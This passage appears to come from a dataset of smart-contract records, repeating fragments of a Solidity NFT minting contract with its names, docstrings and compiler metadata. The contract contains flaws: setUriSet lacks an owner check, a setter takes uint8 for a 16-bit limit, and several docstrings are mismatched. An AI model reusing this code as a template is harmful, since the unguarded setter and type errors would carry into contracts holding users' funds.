_communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setMerkleRootVipPl
function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; }
/* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 4154, 4276 ] }
14,166
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setFreeMintActive
function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; }
/* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 4410, 4537 ] }
14,167
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop 